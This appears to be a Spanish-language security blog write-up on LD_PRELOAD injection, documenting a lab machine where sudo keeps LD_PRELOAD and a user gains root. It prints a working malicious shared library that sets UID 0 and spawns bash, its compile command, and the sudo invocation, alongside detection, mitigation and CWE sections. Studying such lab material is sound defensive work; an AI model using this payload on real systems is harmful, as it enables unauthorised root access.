cd ~/blog

~/vulns/ld_preload-pivesc.md

LD_PRELOAD Injection

privescautor: Jordy Pérez Osorio aviso legal
LinuxLD_PRELOADprivilege-escalationcode-execution

~4 min de lectura


1. Descripción técnica

LD_PRELOAD permite ordenar al cargador dinámico de Linux que cargue una biblioteca compartida antes que las dependencias normales de un programa. La técnica se convierte en LD_PRELOAD Injection cuando un usuario controla esa variable y consigue que un proceso de mayor confianza cargue una biblioteca también controlada por él.

En el caso de sudo, la configuración debe conservar expresamente la variable mediante env_keep+=LD_PRELOAD y autorizar al usuario a ejecutar al menos un binario enlazado dinámicamente. No basta con que sudo -l muestre NOPASSWD: el límite de confianza se rompe porque el cargador procesa una biblioteca elegida por el usuario dentro de la ejecución privilegiada.

1.1 Evidencia de configuración

En 065-preload, sudo -l muestra los privilegios de paul y la conservación de la variable:

paul@preload:~$ sudo -l
Matching Defaults entries for paul on preload:
    env_reset, mail_badpass, env_keep+=LD_PRELOAD,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User paul may run the following commands on preload:
    (root) NOPASSWD: /usr/bin/cat, /usr/bin/cut, /usr/bin/grep, /usr/bin/tail,
        /usr/bin/head, /usr/bin/ss

Observaciones importantes

  1. ==NOPASSWD==: Significa que paul puede ejecutar esos comandos como root sin necesidad de contraseña. Esto ya es un potencial riesgo si esos comandos pueden ser explotados de alguna manera.

  2. ==env_keep+=LD_PRELOAD==: Esto indica que sudo no limpia la variable de entorno LD_PRELOAD. Normalmente, sudo elimina variables que podrían afectar la ejecución de comandos para prevenir ataques, pero aquí permite que el usuario manipule LD_PRELOAD incluso al usar sudo.


1.2 Mecanismo del cargador

LD_PRELOAD es una variable de entorno utilizada en sistemas Linux con la biblioteca dinámica (glibc), que indica al cargador dinámico, que cargue ciertas librerías antes de cualquier otra.

Esto tiene aplicaciones legítimas, como:

  • Redefinir funciones de bibliotecas estándar para depuración o testing.
  • Sobrescribir funciones de manera controlada.

Pero también puede ser un vector de ataque: si un usuario puede cargar una librería propia antes de que se ejecute un binario privilegiado, puede ejecutar código arbitrario con los privilegios de ese binario.


2. Impacto

Cuando el proceso consumidor se ejecuta como root, el constructor de la biblioteca obtiene ejecución con UID 0. En otros contextos, como un proceso web, la técnica conserva los privilegios de ese proceso y puede servir para evitar restricciones de ejecución sin producir una escalada de privilegios.

3. Condiciones necesarias

  1. El atacante controla LD_PRELOAD en el entorno que recibe el proceso objetivo.
  2. Puede escribir o aportar la biblioteca indicada.
  3. El ejecutable usa el cargador dinámico y no descarta la variable antes de cargar dependencias.
  4. Para una escalada mediante sudo, la política conserva LD_PRELOAD y autoriza una ejecución con una identidad privilegiada.

4. Explotación documentada

4.1 065-preload

Creación de la biblioteca

El código pwned.c es:

❯ cat pwned.c
#include <stdlib.h>
#include <unistd.h>
void _init() {
  unsetenv("LD_PRELOAD");
  setgid(0);
  setuid(0);
  system("/bin/bash");
}

Explicación línea por línea:

  1. ==void _init() { ... }==

    • _init() es una función especial en bibliotecas compartidas que se ejecuta automáticamente al cargar la librería, antes de cualquier otra función del binario.
  2. ==unsetenv("LD_PRELOAD");==

    • Evita recursión: si la variable LD_PRELOAD sigue activa, podría intentar cargar la librería repetidamente causando errores.
  3. ==setgid(0); setuid(0);==

    • Cambia el grupo y usuario efectivo a root (ID 0). Esto es crítico: garantiza que la shell que ejecutemos tenga privilegios de root.
  4. ==system("/bin/bash");==

    • Lanza una shell interactiva como root.

Compilación de la biblioteca

gcc -fPIC -shared -o pwned.so pwned.c -nostartfiles
  • ==-fPIC==: genera código independiente de posición (requerido para librerías compartidas).
  • ==-shared==: indica que compilamos una librería compartida (.so).
  • ==-nostartfiles==: evita vincular la inicialización estándar de C, lo cual es opcional aquí.

Ejecución con sudo y LD_PRELOAD

sudo LD_PRELOAD=/tmp/pwned.so ss
  • ==ss== es un binario permitido para ejecutar como root según sudo -l.

  • ==LD_PRELOAD=/tmp/pwned.so== fuerza a que se cargue nuestra librería maliciosa al iniciar ss.

Como resultado, _init() se ejecuta antes que ss, escalando privilegios y abriendo una shell como root:

paul@preload:/tmp$ gcc -fPIC -shared -o pwned.so pwned.c -nostartfiles

paul@preload:/tmp$ sudo LD_PRELOAD=/tmp/pwned.so ss

root@preload:/tmp#

4.2 010-icarus y 067-dejavu

En 010-icarus, sudo también conserva LD_PRELOAD y carga una biblioteca desde /tmp antes de iniciar un binario autorizado como root. En 067-dejavu, Chankro emplea el mismo mecanismo de precarga dentro del contexto de www-data para alcanzar ejecución nativa pese a las restricciones de PHP; ese segundo caso demuestra code execution, no una escalada automática a root.


5. Validación y detección

  • Revisar sudo -l y /etc/sudoers en busca de env_keep+=LD_PRELOAD.
  • Confirmar que el comando autorizado está enlazado dinámicamente con file o ldd.
  • Auditar procesos privilegiados que acepten variables de entorno controladas y cargas de bibliotecas desde rutas escribibles.

6. Mitigación

  1. Evitar permitir LD_PRELOAD en sudo:
    • Eliminarlo de env_keep en /etc/sudoers: Defaults !env_keep+="LD_PRELOAD"
  2. Revisar comandos permitidos:
    • Evitar permitir la ejecución de binarios que puedan ser manipulados con librerías compartidas (casi cualquier binario que use glibc dinámico).
  3. Auditoría regular de sudoers:
    • Revisar quién puede ejecutar comandos con NOPASSWD y qué variables de entorno están permitidas.

7. Clasificación

  • Tipo: Uncontrolled Search Path / Privilege Escalation or Code Execution
  • CWE:
    • CWE-427: Uncontrolled Search Path Element
    • CWE-250: Execution with Unnecessary Privileges

8. Referencias y conexiones

// relacionados